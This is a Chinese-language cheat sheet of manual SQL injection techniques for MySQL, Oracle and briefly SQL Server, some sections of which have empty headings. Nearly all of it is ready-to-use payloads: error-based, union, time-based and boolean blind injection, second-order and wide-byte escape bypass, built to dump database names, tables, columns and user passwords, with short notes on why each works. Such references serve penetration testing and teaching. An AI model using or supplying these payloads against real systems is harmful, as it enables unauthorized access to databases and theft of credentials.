0x01 Mysql 手工注入
1.1 联合注入

1.2 报错注入
1.floor()select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);2.extractvalue()select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));3.updatexml()select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));4.geometrycollection()select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));5.multipoint()select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));6.polygon()select * from test where id=1 and polygon((select * from(select * from(select user())a)b));7.multipolygon()select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));8.linestring()select * from test where id=1 and linestring((select * from(select * from(select user())a)b));9.multilinestring()select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));10.exp()select * from test where id=1 and exp(~(select * from(select user())a));
每个一个报错语句都有它的原理：
exp() 报错的原理：exp 是一个数学函数，取e的x次方，当我们输入的值大于709就会报错，然后 ~ 取反它的值总会大于709，所以报错。
updatexml() 报错的原理：由于 updatexml 的第二个参数需要 Xpath 格式的字符串，以 ~ 开头的内容不是 xml 格式的语法，concat() 函数为字符串连接函数显然不符合规则，但是会将括号内的执行结果以错误的形式报出，这样就可以实现报错注入了。
爆库：?id=1" and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- +爆表：?id=1" and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema="security" limit 3,1),1) -- +爆字段：?id=1" and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +爆数据：?id=1" and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +#concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)
这里需要注意的是它加了连接字符，导致数据中的 md5 只能爆出 31 位，这里可以用分割函数分割出来：
substr(string string,num start,num length);#string为字符串,start为起始位置,length为长度?id=1" and updatexml(1,concat(0x7e, substr((select password from users limit 1,1),1,16),0x7e),1) -- +
1.3 盲注
1.3.1 时间盲注
时间盲注也叫延时注入 一般用到函数 sleep() BENCHMARK() 还可以使用笛卡尔积(尽量不要使用,内容太多会很慢很慢)
一般时间盲注我们还需要使用条件判断函数
#if（expre1，expre2，expre3）当 expre1 为 true 时，返回 expre2，false 时，返回 expre3#盲注的同时也配合着 mysql 提供的分割函substr、substring、left
我们一般喜欢把分割的函数编码一下，当然不编码也行，编码的好处就是可以不用引号，常用到的就有 ascii() hex() 等等
?id=1" and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+?id=1" and if((substr((select user()),1,1)="r"),sleep(5),1)--+
1.3.2 布尔盲注
?id=1" and substr((select user()),1,1)="r" -- +?id=1" and IFNULL((substr((select user()),1,1)="r"),0) -- +#如果 IFNULL 第一个参数的表达式为 NULL，则返回第二个参数的备用值，不为 Null 则输出值?id=1" and strcmp((substr((select user()),1,1)="r"),1) -- +#若所有的字符串均相同，STRCMP() 返回 0，若根据当前分类次序，第一个参数小于第二个，则返回 -1 ，其它情况返回 1
1.4 insert,delete,update
insert,delete,update 主要是用到盲注和报错注入，此类注入点不建议使用 sqlmap 等工具，会造成大量垃圾数据，一般这种注入会出现在 注册、ip头、留言板等等需要写入数据的地方,同时这种注入不报错一般较难发现，我们可以尝试性插入、引号、双引号、转义符 让语句不能正常执行，然后如果插入失败，更新失败，然后深入测试确定是否存在注入
1.4.1 报错

1.5 二次注入与宽字节注入
二次注入的语句：在没有被单引号包裹的sql语句下，我们可以用16进制编码他，这样就不会带有单引号等。
mysql> insert into admin (id,name,pass) values ("3",0x61646d696e272d2d2b,"11");Query OK, 1 row affected (0.00 sec)mysql> select * from admin;+----+-----------+-------+| id | name | pass |+----+-----------+-------+| 1 | admin | admin || 2 | admin"111 | 11111 || 3 | admin"--+ | 11 |+----+-----------+-------+4 rows in set (0.00 sec)
二次注入在没有源码的情况比较难发现，通常见于注册，登录恶意账户后，数据库可能会因为恶意账户名的问题，将 admin"--+ 误认为 admin 账户
宽字节注入：针对目标做了一定的防护，单引号转变为 " , mysql 会将 编码为 %5c ，宽字节中两个字节代表一个汉字，所以把 %df 加上 %5c 就变成了一个汉字"運"，使用这种方法成功绕过转义，就是所谓的宽字节注入
id=-1%df" union select...#没使用宽字节%27 -> %5C%27#使用宽字节%df%27 -> %df%5c%27 -> 運"
0x02 Oracle 手工注入
2.1 联合注入
?id=-1" union select user,null from dual--?id=-1" union select version,null from v$instance--?id=-1" union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)--?id=-1" union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name ="USERS") where limit=2)--?id=-1" union select username,passwd from users--?id=-1" union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit=3)--
2.2 报错注入
?id=1" and 1=ctxsys.drithsx.sn(1,(select user from dual))--?id=1" and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like "Oracle%))--?id=1" and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit= 3))--?id=1" and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name ="USERS") where limit=3))--?id=1" and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--
2.3 盲注
2.3.1 布尔盲注
既然是盲注，那么肯定涉及到条件判断语句，Oracle除了使用IF the else end if这种复杂的，还可以使用 decode() 函数。语法：decode(条件,值1,返回值1,值2,返回值2,...值n,返回值n,缺省值);
该函数的含义如下：
IF 条件=值1 THENRETURN(返回值1)ELSIF 条件=值2 THENRETURN(返回值2)......ELSIF 条件=值n THENRETURN(返回值n)ELSERETURN(缺省值)END IF
?id=1" and 1=(select decode(user,"SYSTEM",1,0,0) from dual)--?id=1" and 1=(select decode(substr(user,1,1),"S",1,0,0) from dual)--?id=1" and ascii(substr(user,1,1))> 64-- #二分法
2.3.2 时间盲注
可使用DBMS_PIPE.RECEIVE_MESSAGE("任意值",延迟时间)函数进行时间盲注，这个函数可以指定延迟的时间
?id=1" and 1=(case when ascii(substr(user,1,1))> 128 then DBMS_PIPE.RECEIVE_MESSAGE("a",5) else 1 end)--?id=1" and 1=(case when ascii(substr(user,1,1))> 64 then DBMS_PIPE.RECEIVE_MESSAGE("a",5) else 1 end)--

3.2 报错注入
?id=1" and 1=(select 1/@@servername)--?id=1" and 1=(select 1/(select top 1 name from sys.databases where name not in (select top 1 name from sys.databases))--
3.3 盲注
